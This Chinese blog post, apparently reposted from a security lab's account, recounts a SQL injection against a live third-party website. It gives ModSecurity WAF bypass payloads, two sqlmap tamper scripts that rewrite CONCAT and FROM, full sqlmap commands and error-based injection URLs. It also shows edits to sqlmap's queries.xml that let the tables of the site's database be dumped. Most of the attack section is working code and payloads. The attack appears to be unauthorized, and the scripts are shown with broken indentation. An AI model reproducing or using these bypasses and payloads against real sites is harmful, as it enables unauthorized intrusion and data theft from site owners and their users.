暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

一次实战注入引发的SQLmap修改之路

合天网安实验室 2021-10-18
1696

文章转自公众号:贝塔安全实验室



一、 前言

SQLmap的payload修改一般有两种方式:
1、编写tamper
2、修改/添加sqlmap的xml文件语句自定义payload


二、 注入点Fuzz

选中目标网站:http://www.xxxx.com/journals_desc.php?id=40
单引号报错,对单引号进行转义,id=0=0测试回显正常,int型注入

Order by 猜字段值为7
Waf为Modsec,直接使用union select被拦截:

Fuzz:
      单个union    #不拦截
      单个select    #不拦截
Union select  #拦截
union **/ select #拦截
/*!00000union*/ select #内联注释,不拦截
/*!50000union*/ select 1,2,3,4,5,6,7
复制

此处应该是涉及到强弱类型转换的问题,int为强类型,猜测对应的字段为弱类型

解决方法:
[1]使用string方法、但单引号’ 被被转义了,所以该方法行不通
[2]采用报错注入


三、 编写简单Tamper脚本绕过

(使用自带的modsecurityzeroversioned.py不能绕过)
报错注入过程中,发现主要过滤关键词from和函数concat()

1、concat()被过滤:concat()-->concat/**/()

对应tamper脚本concat2concatcomment.py如下:

    #!/usr/bin/env python2
    """
    Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    from lib.core.compat import xrange
    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.LOW
    def dependencies():
    pass
    def tamper(payload, **kwargs):
    return payload.replace("CONCAT","CONCAT/**/")
    复制


    2、from被过滤,from
    -->/*!44144from*/

    对应tamper脚本from.py如下:

      #!/usr/bin/env python2
      """
      Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
      See the file 'LICENSE' for copying permission
      """
      from lib.core.compat import xrange
      from lib.core.enums import PRIORITY
      __priority__ = PRIORITY.LOW
      def dependencies():
      pass
      def tamper(payload, **kwargs):
      return payload.replace("FROM","/*!44144FROM*/")
      复制

        python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment" --force-ssl --technique=E
        复制

        --dbs
        读取(可以比对一下使用tamper脚本和使用tamper脚本后语句)
        payload in sqlmap:

          AND (SELECT 8403 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b707071,(SELECT REPEAT(0x34,1024)),0x71627a7a71,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
          复制


          --tables
          读取,很遗憾,读取失败

          再次把它的payload拿到本地测试,也是行不通的。语句很长,需要慢慢fuzz究竟是哪里被拦截、组合、函数、关键字?
          但是,坑的是竟然不是因为过滤引起的?


          四、 修改SQLmap的xml文件语句

          实在不行了,去用手工注了出来,但是用SQLmap就是跑不出来???再去看一下SQLmap的payload是不是有问题,咋一看没什么大问题,所以我一开始也忽略了,卡了好久。也就是这里涉及到了直接修改SQLmap自带的语句。大家自行比较一下下面这两条语句看看能不能看出问题~

            https://www.xxxx.com/journals_desc.php?id=40%20and%20updatexml/**/(1,concat/**//**/(0x7e,(select%20DISTINCT%20GROUP_CONCAT(table_name)/*!44144from*/%20%20%20information_schema.TABLES%20where%20table_schema=database())%20),1)
            复制

            https://www.xxxx.com/journals_desc.php?id=40%20and%20updatexml/**/(1,concat/**//**/(0x7e,(select%20DISTINCT%20GROUP_CONCAT(table_name)/*!44144from*/%20%20%20information_schema.`TABLES`%20where%20table_schema=database())%20),1)
            复制

            下面讲几个概念
            [1]table和colums在mysql中是特殊字符
            [2]反引号是sql语言的转义字符
            [3]在mysql中的sql语句为了避免与系统冲突给表名加上反引号  ,(但在指定其他数据库时不能加,否则会被认作是表)

            我们可以看到这里sqlmappayload,对于information_schema.tables中tables并没有加反引号,指引到/xml/queries.xml

              information_schema.tables --> information_schema.`tables`
              复制

              当然,columns也需要修改

                information_schema.columns --> information_schema.`columns`
                复制

                修改之后跑表:

                  python sqlmap.py -u "https://www.xxxx.com/journals_desc.php?id=66" --level 3 --risk 3 -v 3 --tamper="from,concat2concatcomment"   --technique=E   -D mililink_main --tables
                  payload in sqlamp(比对一下payload,看看效果):
                  66 AND (SELECT 9571 /*!44144FROM*/(SELECT COUNT(*),CONCAT/**/(0x716b7a6b71,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,54) /*!44144FROM*/ INFORMATION_SCHEMA.`TABLES` WHERE table_schema IN (0x6d696c696c696e6b5f6d61696e) LIMIT 15,1),0x7171767071,FLOOR(RAND(0)*2))x /*!44144FROM*/ INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
                  复制


                  跑列值也是一样的,就不多说了,直接上图

                  五、 关于SQLmap自定义payload的一些思考

                  SQLmappayload修改,其实并不复杂。

                  tamper脚本的编写,可以参考上边的from.pyconcat2concatcomment.py,它其实是有固定格式的。简单的自定义paylaod只需要在def tamper(payload, **kwargs)函数中写入替换语句即可。可参考https://payloads.online/archivers/2017-06-08/1

                  修改/添加sqlmapxml文件语句来自定义payload。需要找到对应的xml文件,然后修改xml文件中的语句。
                  查询语句在
                  \sqlmap\data\xml\ queries.xml定义,若想自定义查询语句则只需要修改/添加想要执行的查询语句即可,如上边对INFORMATION_SCHEMA.TABLES
                  的修改

                  不同的注入方式使用的语句则需要在对应的注入方式中的xml语句进行修改,在\sqlmap\data\xml\payloads\文件下

                  假若我们需要修改error-base注入方式的payload,则需要在/xml/payload/error_based.xml中修改

                  上合天网安实验室,get同款实验!

                  http://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015011916013600001


                  别忘了投稿哦

                  大家有好的技术原创文章

                  欢迎投稿至邮箱:edu@heetian.com

                  合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

                  有才能的你快来投稿吧!

                  了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

                      

                  文章转载自合天网安实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                  评论